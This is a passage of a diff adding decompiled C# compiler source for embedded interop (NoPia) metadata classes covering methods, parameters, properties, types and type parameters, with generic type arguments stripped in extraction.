IMethodBody.MaxStack => 0; + + ImmutableArray IMethodBody.IL => ImmutableArray.Empty; + + ImmutableArray IMethodBody.SequencePoints => ImmutableArray.Empty; + + bool IMethodBody.HasDynamicLocalVariables => false; + + StateMachineMoveNextBodyDebugInfo IMethodBody.MoveNextBodyInfo => null; + + ImmutableArray IMethodBody.CodeCoverageSpans => ImmutableArray.Empty; + + ImmutableArray IMethodBody.LocalScopes => ImmutableArray.Empty; + + Microsoft.Cci.IImportScope IMethodBody.ImportScope => null; + + ImmutableArray IMethodBody.StateMachineHoistedLocalScopes => default(ImmutableArray); + + string IMethodBody.StateMachineTypeName => null; + + ImmutableArray IMethodBody.StateMachineHoistedLocalSlots => default(ImmutableArray); + + ImmutableArray IMethodBody.StateMachineAwaiterSlots => default(ImmutableArray); + + ImmutableArray IMethodBody.ClosureDebugInfo => default(ImmutableArray); + + ImmutableArray IMethodBody.LambdaDebugInfo => default(ImmutableArray); + + public StateMachineStatesDebugInfo StateMachineStatesDebugInfo => default(StateMachineStatesDebugInfo); + + public DebugId MethodId => default(DebugId); + + public bool IsPrimaryConstructor => false; + + public EmptyBody(CommonEmbeddedMethod method) + { + _method = method; + } + } + + public readonly TEmbeddedType ContainingType; + + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _parameters; + + protected abstract bool IsAbstract { get; } + + protected abstract bool IsAccessCheckedOnOverride { get; } + + protected abstract bool IsConstructor { get; } + + protected abstract bool IsExternal { get; } + + protected abstract bool IsHiddenBySignature { get; } + + protected abstract bool IsNewSlot { get; } + + protected abstract IPlatformInvokeInformation PlatformInvokeData { get; } + + protected abstract bool IsRuntimeSpecial { get; } + + protected abstract bool IsSpecialName { get; } + + protected abstract bool IsSealed { get; } + + protected abstract bool IsStatic { get; } + + protected abstract bool IsVirtual { get; } + + protected abstract bool ReturnValueIsMarshalledExplicitly { get; } + + protected abstract IMarshallingInformation ReturnValueMarshallingInformation { get; } + + protected abstract ImmutableArray ReturnValueMarshallingDescriptor { get; } + + protected abstract TypeMemberVisibility Visibility { get; } + + protected abstract string Name { get; } + + protected abstract bool AcceptsExtraArguments { get; } + + protected abstract ISignature UnderlyingMethodSignature { get; } + + protected abstract INamespace ContainingNamespace { get; } + + public TMethodSymbol UnderlyingMethod => UnderlyingSymbol; + + IEnumerable IMethodDefinition.GenericParameters => _typeParameters; + + bool IMethodDefinition.HasDeclarativeSecurity => false; + + bool IMethodDefinition.IsAbstract => IsAbstract; + + bool IMethodDefinition.IsAccessCheckedOnOverride => IsAccessCheckedOnOverride; + + bool IMethodDefinition.IsConstructor => IsConstructor; + + bool IMethodDefinition.IsExternal => IsExternal; + + bool IMethodDefinition.IsHiddenBySignature => IsHiddenBySignature; + + bool IMethodDefinition.IsNewSlot => IsNewSlot; + + bool IMethodDefinition.IsPlatformInvoke => PlatformInvokeData != null; + + IPlatformInvokeInformation IMethodDefinition.PlatformInvokeData => PlatformInvokeData; + + bool IMethodDefinition.IsRuntimeSpecial => IsRuntimeSpecial; + + bool IMethodDefinition.IsSpecialName => IsSpecialName; + + bool IMethodDefinition.IsSealed => IsSealed; + + bool IMethodDefinition.IsStatic => IsStatic; + + bool IMethodDefinition.IsVirtual => IsVirtual; + + ImmutableArray IMethodDefinition.Parameters => StaticCast.From(_parameters); + + bool IMethodDefinition.RequiresSecurityObject => false; + + bool IMethodDefinition.ReturnValueIsMarshalledExplicitly => ReturnValueIsMarshalledExplicitly; + + IMarshallingInformation IMethodDefinition.ReturnValueMarshallingInformation => ReturnValueMarshallingInformation; + + ImmutableArray IMethodDefinition.ReturnValueMarshallingDescriptor => ReturnValueMarshallingDescriptor; + + IEnumerable IMethodDefinition.SecurityAttributes => SpecializedCollections.EmptyEnumerable(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => ContainingType; + + INamespace IMethodDefinition.ContainingNamespace => ContainingNamespace; + + TypeMemberVisibility ITypeDefinitionMember.Visibility => Visibility; + + string INamedEntity.Name => Name; + + bool IMethodReference.AcceptsExtraArguments => AcceptsExtraArguments; + + ushort IMethodReference.GenericParameterCount => (ushort)_typeParameters.Length; + + bool IMethodReference.IsGeneric => _typeParameters.Length > 0; + + ImmutableArray IMethodReference.ExtraParameters => ImmutableArray.Empty; + + IGenericMethodInstanceReference IMethodReference.AsGenericMethodInstanceReference => null; + + ISpecializedMethodReference IMethodReference.AsSpecializedMethodReference => null; + + Microsoft.Cci.CallingConvention ISignature.CallingConvention => UnderlyingMethodSignature.CallingConvention; + + ushort ISignature.ParameterCount => (ushort)_parameters.Length; + + ImmutableArray ISignature.RefCustomModifiers => UnderlyingMethodSignature.RefCustomModifiers; + + ImmutableArray ISignature.ReturnValueCustomModifiers => UnderlyingMethodSignature.ReturnValueCustomModifiers; + + bool ISignature.ReturnValueIsByRef => UnderlyingMethodSignature.ReturnValueIsByRef; + + protected CommonEmbeddedMethod(TEmbeddedType containingType, TMethodSymbol underlyingMethod) + : base(underlyingMethod) + { + ContainingType = containingType; + _typeParameters = GetTypeParameters(); + _parameters = GetParameters(); + } + + protected abstract ImmutableArray GetTypeParameters(); + + protected abstract ImmutableArray GetParameters(); + + protected abstract MethodImplAttributes GetImplementationAttributes(EmitContext context); + + protected sealed override TAttributeData PortAttributeIfNeedTo(TAttributeData attrData, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + if (TypeManager.IsTargetAttribute((TSymbol)UnderlyingMethod, attrData, AttributeDescription.LCIDConversionAttribute) && attrData.CommonConstructorArguments.Length == 1) + { + return TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_LCIDConversionAttribute__ctor, attrData, syntaxNodeOpt, diagnostics); + } + return null; + } + + IMethodBody IMethodDefinition.GetBody(EmitContext context) + { + if (this.HasBody()) + { + return new EmptyBody(this); + } + return null; + } + + MethodImplAttributes IMethodDefinition.GetImplementationAttributes(EmitContext context) + { + return GetImplementationAttributes(context); + } + + IEnumerable IMethodDefinition.GetReturnValueAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return ContainingType; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + IMethodDefinition IMethodReference.GetResolvedMethod(EmitContext context) + { + return this; + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + return StaticCast.From(_parameters); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + return UnderlyingMethodSignature.GetType(context); + } + + public override string ToString() + { + return UnderlyingMethod.GetInternalSymbol().GetISymbol().ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + } + + internal abstract class CommonEmbeddedParameter : IParameterDefinition, IDefinition, IReference, INamedEntity, IParameterTypeInformation, IParameterListEntry + { + public readonly CommonEmbeddedMember ContainingPropertyOrMethod; + + public readonly TParameterSymbol UnderlyingParameter; + + private ImmutableArray _lazyAttributes; + + protected TEmbeddedTypesManager TypeManager => ContainingPropertyOrMethod.TypeManager; + + protected abstract bool HasDefaultValue { get; } + + protected abstract bool IsIn { get; } + + protected abstract bool IsOut { get; } + + protected abstract bool IsOptional { get; } + + protected abstract bool IsMarshalledExplicitly { get; } + + protected abstract IMarshallingInformation MarshallingInformation { get; } + + protected abstract ImmutableArray MarshallingDescriptor { get; } + + protected abstract string Name { get; } + + protected abstract IParameterTypeInformation UnderlyingParameterTypeInformation { get; } + + protected abstract ushort Index { get; } + + bool IParameterDefinition.HasDefaultValue => HasDefaultValue; + + bool IParameterDefinition.IsIn => IsIn; + + bool IParameterDefinition.IsOut => IsOut; + + bool IParameterDefinition.IsOptional => IsOptional; + + bool IParameterDefinition.IsMarshalledExplicitly => IsMarshalledExplicitly; + + IMarshallingInformation IParameterDefinition.MarshallingInformation => MarshallingInformation; + + ImmutableArray IParameterDefinition.MarshallingDescriptor => MarshallingDescriptor; + + string INamedEntity.Name => Name; + + ImmutableArray IParameterTypeInformation.CustomModifiers => UnderlyingParameterTypeInformation.CustomModifiers; + + bool IParameterTypeInformation.IsByReference => UnderlyingParameterTypeInformation.IsByReference; + + ImmutableArray IParameterTypeInformation.RefCustomModifiers => UnderlyingParameterTypeInformation.RefCustomModifiers; + + ushort IParameterListEntry.Index => Index; + + protected CommonEmbeddedParameter(CommonEmbeddedMember containingPropertyOrMethod, TParameterSymbol underlyingParameter) + { + ContainingPropertyOrMethod = containingPropertyOrMethod; + UnderlyingParameter = underlyingParameter; + } + + protected abstract MetadataConstant GetDefaultValue(EmitContext context); + + protected abstract IEnumerable GetCustomAttributesToEmit(TPEModuleBuilder moduleBuilder); + + private bool IsTargetAttribute(TAttributeData attrData, AttributeDescription description) + { + return TypeManager.IsTargetAttribute((TSymbol)UnderlyingParameter, attrData, description); + } + + private ImmutableArray GetAttributes(TPEModuleBuilder moduleBuilder, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TAttributeData item in GetCustomAttributesToEmit(moduleBuilder)) + { + if (IsTargetAttribute(item, AttributeDescription.ParamArrayAttribute)) + { + if (item.CommonConstructorArguments.Length == 0) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_ParamArrayAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + continue; + } + if (IsTargetAttribute(item, AttributeDescription.DateTimeConstantAttribute)) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_CompilerServices_DateTimeConstantAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + continue; + } + int targetAttributeSignatureIndex = TypeManager.GetTargetAttributeSignatureIndex((TSymbol)UnderlyingParameter, item, AttributeDescription.DecimalConstantAttribute); + if (targetAttributeSignatureIndex != -1) + { + if (item.CommonConstructorArguments.Length == 5) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute((targetAttributeSignatureIndex == 0) ? WellKnownMember.System_Runtime_CompilerServices_DecimalConstantAttribute__ctor : WellKnownMember.System_Runtime_CompilerServices_DecimalConstantAttribute__ctorByteByteInt32Int32Int32, item, syntaxNodeOpt, diagnostics)); + } + } + else if (IsTargetAttribute(item, AttributeDescription.DefaultParameterValueAttribute) && item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_DefaultParameterValueAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + return instance.ToImmutableAndFree(); + } + + MetadataConstant IParameterDefinition.GetDefaultValue(EmitContext context) + { + return GetDefaultValue(context); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + if (_lazyAttributes.IsDefault) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ImmutableArray attributes = GetAttributes((TPEModuleBuilder)context.Module, (TSyntaxNode)context.SyntaxNode, instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _lazyAttributes, attributes)) + { + context.Diagnostics.AddRange(instance); + } + instance.Free(); + } + return _lazyAttributes; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedParameter.cs", 213); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + ITypeReference IParameterTypeInformation.GetType(EmitContext context) + { + return UnderlyingParameterTypeInformation.GetType(context); + } + + public override string ToString() + { + return ((ISymbol)UnderlyingParameter).ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedParameter.cs", 276); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedParameter.cs", 282); + } + } + + internal abstract class CommonEmbeddedProperty : CommonEmbeddedMember, IPropertyDefinition, ISignature, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition + { + private readonly ImmutableArray _parameters; + + private readonly TEmbeddedMethod _getter; + + private readonly TEmbeddedMethod _setter; + + internal override TEmbeddedTypesManager TypeManager => AnAccessor.TypeManager; + + protected abstract bool IsRuntimeSpecial { get; } + + protected abstract bool IsSpecialName { get; } + + protected abstract ISignature UnderlyingPropertySignature { get; } + + protected abstract TEmbeddedType ContainingType { get; } + + protected abstract TypeMemberVisibility Visibility { get; } + + protected abstract string Name { get; } + + public TPropertySymbol UnderlyingProperty => UnderlyingSymbol; + + IMethodReference IPropertyDefinition.Getter => _getter; + + IMethodReference IPropertyDefinition.Setter => _setter; + + bool IPropertyDefinition.HasDefaultValue => false; + + MetadataConstant IPropertyDefinition.DefaultValue => null; + + bool IPropertyDefinition.IsRuntimeSpecial => IsRuntimeSpecial; + + bool IPropertyDefinition.IsSpecialName => IsSpecialName; + + ImmutableArray IPropertyDefinition.Parameters => StaticCast.From(_parameters); + + Microsoft.Cci.CallingConvention ISignature.CallingConvention => UnderlyingPropertySignature.CallingConvention; + + ushort ISignature.ParameterCount => (ushort)_parameters.Length; + + ImmutableArray ISignature.ReturnValueCustomModifiers => UnderlyingPropertySignature.ReturnValueCustomModifiers; + + ImmutableArray ISignature.RefCustomModifiers => UnderlyingPropertySignature.RefCustomModifiers; + + bool ISignature.ReturnValueIsByRef => UnderlyingPropertySignature.ReturnValueIsByRef; + + protected TEmbeddedMethod AnAccessor => _getter ?? _setter; + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => ContainingType; + + TypeMemberVisibility ITypeDefinitionMember.Visibility => Visibility; + + string INamedEntity.Name => Name; + + protected CommonEmbeddedProperty(TPropertySymbol underlyingProperty, TEmbeddedMethod getter, TEmbeddedMethod setter) + : base(underlyingProperty) + { + _getter = getter; + _setter = setter; + _parameters = GetParameters(); + } + + protected abstract ImmutableArray GetParameters(); + + IEnumerable IPropertyDefinition.GetAccessors(EmitContext context) + { + if (_getter != null) + { + yield return _getter; + } + if (_setter != null) + { + yield return _setter; + } + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + return StaticCast.From(_parameters); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + return UnderlyingPropertySignature.GetType(context); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return ContainingType; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + } + + internal abstract class CommonEmbeddedType : INamespaceTypeDefinition, INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, INamespaceTypeReference + { + public readonly TEmbeddedTypesManager TypeManager; + + public readonly TNamedTypeSymbol UnderlyingNamedType; + + private ImmutableArray _lazyFields; + + private ImmutableArray _lazyMethods; + + private ImmutableArray _lazyProperties; + + private ImmutableArray _lazyEvents; + + private ImmutableArray _lazyAttributes; + + private int _lazyAssemblyRefIndex = -1; + + protected abstract bool IsPublic { get; } + + protected abstract bool IsAbstract { get; } + + protected abstract bool IsBeforeFieldInit { get; } + + protected abstract bool IsComImport { get; } + + protected abstract bool IsInterface { get; } + + protected abstract bool IsDelegate { get; } + + protected abstract bool IsSerializable { get; } + + protected abstract bool IsSpecialName { get; } + + protected abstract bool IsWindowsRuntimeImport { get; } + + protected abstract bool IsSealed { get; } + + protected abstract CharSet StringFormat { get; } + + public int AssemblyRefIndex + { + get + { + if (_lazyAssemblyRefIndex == -1) + { + _lazyAssemblyRefIndex = GetAssemblyRefIndex(); + } + return _lazyAssemblyRefIndex; + } + } + + bool INamespaceTypeDefinition.IsPublic => IsPublic; + + IEnumerable ITypeDefinition.GenericParameters => SpecializedCollections.EmptyEnumerable(); + + ushort ITypeDefinition.GenericParameterCount => 0; + + bool ITypeDefinition.HasDeclarativeSecurity => false; + + bool ITypeDefinition.IsAbstract => IsAbstract; + + bool ITypeDefinition.IsBeforeFieldInit => IsBeforeFieldInit; + + bool ITypeDefinition.IsComObject + { + get + { + if (!IsInterface) + { + return IsComImport; + } + return true; + } + } + + bool ITypeDefinition.IsGeneric => false; + + bool ITypeDefinition.IsInterface => IsInterface; + + bool ITypeDefinition.IsDelegate => IsDelegate; + + bool ITypeDefinition.IsRuntimeSpecial => false; + + bool ITypeDefinition.IsSerializable => IsSerializable; + + bool ITypeDefinition.IsSpecialName => IsSpecialName; + + bool ITypeDefinition.IsWindowsRuntimeImport => IsWindowsRuntimeImport; + + bool ITypeDefinition.IsSealed => IsSealed; + + LayoutKind ITypeDefinition.Layout => GetTypeLayoutIfStruct()?.Kind ?? LayoutKind.Auto; + + ushort ITypeDefinition.Alignment => (ushort)(GetTypeLayoutIfStruct()?.Alignment ?? 0); + + uint ITypeDefinition.SizeOf => (uint)(GetTypeLayoutIfStruct()?.Size ?? 0); + + IEnumerable ITypeDefinition.SecurityAttributes => SpecializedCollections.EmptyEnumerable(); + + CharSet ITypeDefinition.StringFormat => StringFormat; + + bool ITypeReference.IsEnum => UnderlyingNamedType.IsEnum; + + bool ITypeReference.IsValueType => UnderlyingNamedType.IsValueType; + + Microsoft.Cci.PrimitiveTypeCode ITypeReference.TypeCode => Microsoft.Cci.PrimitiveTypeCode.NotPrimitive; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference => this; + + INestedTypeReference ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference ITypeReference.AsSpecializedNestedTypeReference => null; + + ushort INamedTypeReference.GenericParameterCount => 0; + + bool INamedTypeReference.MangleName => UnderlyingNamedType.MangleName; + + string? INamedTypeReference.AssociatedFileIdentifier => UnderlyingNamedType.AssociatedFileIdentifier; + + string INamedEntity.Name => UnderlyingNamedType.Name; + + string INamespaceTypeReference.NamespaceName => UnderlyingNamedType.NamespaceName; + + protected CommonEmbeddedType(TEmbeddedTypesManager typeManager, TNamedTypeSymbol underlyingNamedType) + { + TypeManager = typeManager; + UnderlyingNamedType = underlyingNamedType; + } + + protected abstract int GetAssemblyRefIndex(); + + protected abstract IEnumerable GetFieldsToEmit(); + + protected abstract IEnumerable GetMethodsToEmit(); + + protected abstract IEnumerable GetEventsToEmit(); + + protected abstract IEnumerable GetPropertiesToEmit(); + + protected abstract ITypeReference GetBaseClass(TPEModuleBuilder moduleBuilder, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + protected abstract IEnumerable GetInterfaces(EmitContext context); + + protected abstract TypeLayout? GetTypeLayoutIfStruct(); + + protected abstract TAttributeData CreateTypeIdentifierAttribute(bool hasGuid, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + protected abstract void EmbedDefaultMembers(string defaultMember, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + protected abstract IEnumerable GetCustomAttributesToEmit(TPEModuleBuilder moduleBuilder); + + protected abstract void ReportMissingAttribute(AttributeDescription description, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + private bool IsTargetAttribute(TAttributeData attrData, AttributeDescription description) + { + return TypeManager.IsTargetAttribute((TSymbol)UnderlyingNamedType, attrData, description); + } + + private ImmutableArray GetAttributes(TPEModuleBuilder moduleBuilder, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddOptional(TypeManager.CreateCompilerGeneratedAttribute()); + bool flag = false; + bool flag2 = false; + foreach (TAttributeData item in GetCustomAttributesToEmit(moduleBuilder)) + { + if (IsTargetAttribute(item, AttributeDescription.GuidAttribute)) + { + if (item.TryGetGuidAttributeValue(out string _)) + { + flag = true; + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_GuidAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + continue; + } + if (IsTargetAttribute(item, AttributeDescription.ComEventInterfaceAttribute)) + { + if (item.CommonConstructorArguments.Length == 2) + { + flag2 = true; + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_ComEventInterfaceAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + continue; + } + int targetAttributeSignatureIndex = TypeManager.GetTargetAttributeSignatureIndex((TSymbol)UnderlyingNamedType, item, AttributeDescription.InterfaceTypeAttribute); + if (targetAttributeSignatureIndex != -1) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute((targetAttributeSignatureIndex == 0) ? WellKnownMember.System_Runtime_InteropServices_InterfaceTypeAttribute__ctorInt16 : WellKnownMember.System_Runtime_InteropServices_InterfaceTypeAttribute__ctorComInterfaceType, item, syntaxNodeOpt, diagnostics)); + } + } + else if (IsTargetAttribute(item, AttributeDescription.BestFitMappingAttribute)) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_BestFitMappingAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + else if (IsTargetAttribute(item, AttributeDescription.CoClassAttribute)) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_CoClassAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + else if (IsTargetAttribute(item, AttributeDescription.FlagsAttribute)) + { + if (item.CommonConstructorArguments.Length == 0 && UnderlyingNamedType.IsEnum) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_FlagsAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + else if (IsTargetAttribute(item, AttributeDescription.DefaultMemberAttribute)) + { + if (item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Reflection_DefaultMemberAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + if (item.CommonConstructorArguments[0].ValueInternal is string defaultMember) + { + EmbedDefaultMembers(defaultMember, syntaxNodeOpt, diagnostics); + } + } + } + else if (IsTargetAttribute(item, AttributeDescription.UnmanagedFunctionPointerAttribute) && item.CommonConstructorArguments.Length == 1) + { + instance.AddOptional(TypeManager.CreateSynthesizedAttribute(WellKnownMember.System_Runtime_InteropServices_UnmanagedFunctionPointerAttribute__ctor, item, syntaxNodeOpt, diagnostics)); + } + } + if (IsInterface && !flag2) + { + if (!IsComImport) + { + ReportMissingAttribute(AttributeDescription.ComImportAttribute, syntaxNodeOpt, diagnostics); + } + else if (!flag) + { + ReportMissingAttribute(AttributeDescription.GuidAttribute, syntaxNodeOpt, diagnostics); + } + } + instance.AddOptional(CreateTypeIdentifierAttribute(flag && IsInterface, syntaxNodeOpt, diagnostics)); + return instance.ToImmutableAndFree(); + } + + ITypeReference ITypeDefinition.GetBaseClass(EmitContext context) + { + return GetBaseClass((TPEModuleBuilder)context.Module, (TSyntaxNode)context.SyntaxNode, context.Diagnostics); + } + + IEnumerable ITypeDefinition.GetEvents(EmitContext context) + { + if (_lazyEvents.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TEventSymbol item in GetEventsToEmit()) + { + if (TypeManager.EmbeddedEventsMap.TryGetValue(item, out var value)) + { + instance.Add(value); + } + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyEvents, instance.ToImmutableAndFree()); + } + return _lazyEvents; + } + + IEnumerable ITypeDefinition.GetExplicitImplementationOverrides(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IEnumerable ITypeDefinition.GetFields(EmitContext context) + { + if (_lazyFields.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TFieldSymbol item in GetFieldsToEmit()) + { + if (TypeManager.EmbeddedFieldsMap.TryGetValue(item, out var value)) + { + instance.Add(value); + } + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyFields, instance.ToImmutableAndFree()); + } + return _lazyFields; + } + + IEnumerable ITypeDefinition.Interfaces(EmitContext context) + { + return GetInterfaces(context); + } + + IEnumerable ITypeDefinition.GetMethods(EmitContext context) + { + if (_lazyMethods.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = 1; + int num2 = 0; + foreach (TMethodSymbol item in GetMethodsToEmit()) + { + if (item != null) + { + if (TypeManager.EmbeddedMethodsMap.TryGetValue(item, out var value)) + { + if (num2 > 0) + { + instance.Add(new VtblGap(this, ModuleExtensions.GetVTableGapName(num, num2))); + num++; + num2 = 0; + } + instance.Add(value); + } + else + { + num2++; + } + } + else + { + num2++; + } + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyMethods, instance.ToImmutableAndFree()); + } + return _lazyMethods; + } + + IEnumerable ITypeDefinition.GetNestedTypes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IEnumerable ITypeDefinition.GetProperties(EmitContext context) + { + if (_lazyProperties.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TPropertySymbol item in GetPropertiesToEmit()) + { + if (TypeManager.EmbeddedPropertiesMap.TryGetValue(item, out var value)) + { + instance.Add(value); + } + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyProperties, instance.ToImmutableAndFree()); + } + return _lazyProperties; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + if (_lazyAttributes.IsDefault) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ImmutableArray attributes = GetAttributes((TPEModuleBuilder)context.Module, (TSyntaxNode)context.SyntaxNode, instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _lazyAttributes, attributes)) + { + context.Diagnostics.AddRange(instance); + } + instance.Free(); + } + return _lazyAttributes; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedType.cs", 552); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return this; + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return this; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return this; + } + + IUnitReference INamespaceTypeReference.GetUnit(EmitContext context) + { + return TypeManager.ModuleBeingBuilt; + } + + public override string ToString() + { + return UnderlyingNamedType.GetInternalSymbol().GetISymbol().ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedType.cs", 720); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedType.cs", 726); + } + } + + internal abstract class CommonEmbeddedTypeParameter : IGenericMethodParameter, IGenericParameter, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericMethodParameterReference + { + public readonly TEmbeddedMethod ContainingMethod; + + public readonly TTypeParameterSymbol UnderlyingTypeParameter; + + protected abstract bool MustBeReferenceType { get; } + + protected abstract bool MustBeValueType { get; } + + protected abstract bool MustHaveDefaultConstructor { get; } + + protected abstract string Name { get; } + + protected abstract ushort Index { get; } + + IMethodDefinition IGenericMethodParameter.DefiningMethod => ContainingMethod; + + bool IGenericParameter.MustBeReferenceType => MustBeReferenceType; + + bool IGenericParameter.MustBeValueType => MustBeValueType; + + bool IGenericParameter.MustHaveDefaultConstructor => MustHaveDefaultConstructor; + + TypeParameterVariance IGenericParameter.Variance => TypeParameterVariance.NonVariant; + + IGenericMethodParameter IGenericParameter.AsGenericMethodParameter => this; + + IGenericTypeParameter IGenericParameter.AsGenericTypeParameter => null; + + bool ITypeReference.IsEnum => false; + + bool ITypeReference.IsValueType => false; + + Microsoft.Cci.PrimitiveTypeCode ITypeReference.TypeCode => Microsoft.Cci.PrimitiveTypeCode.NotPrimitive; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference => this; + + IGenericTypeInstanceReference ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference ITypeReference.AsSpecializedNestedTypeReference => null; + + string INamedEntity.Name => Name; + + ushort IParameterListEntry.Index => Index; + + IMethodReference IGenericMethodParameterReference.DefiningMethod => ContainingMethod; + + protected CommonEmbeddedTypeParameter(TEmbeddedMethod containingMethod, TTypeParameterSymbol underlyingTypeParameter) + { + ContainingMethod = containingMethod; + UnderlyingTypeParameter = underlyingTypeParameter; + } + + protected abstract IEnumerable GetConstraints(EmitContext context); + + IEnumerable IGenericParameter.GetConstraints(EmitContext context) + { + return GetConstraints(context); + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition 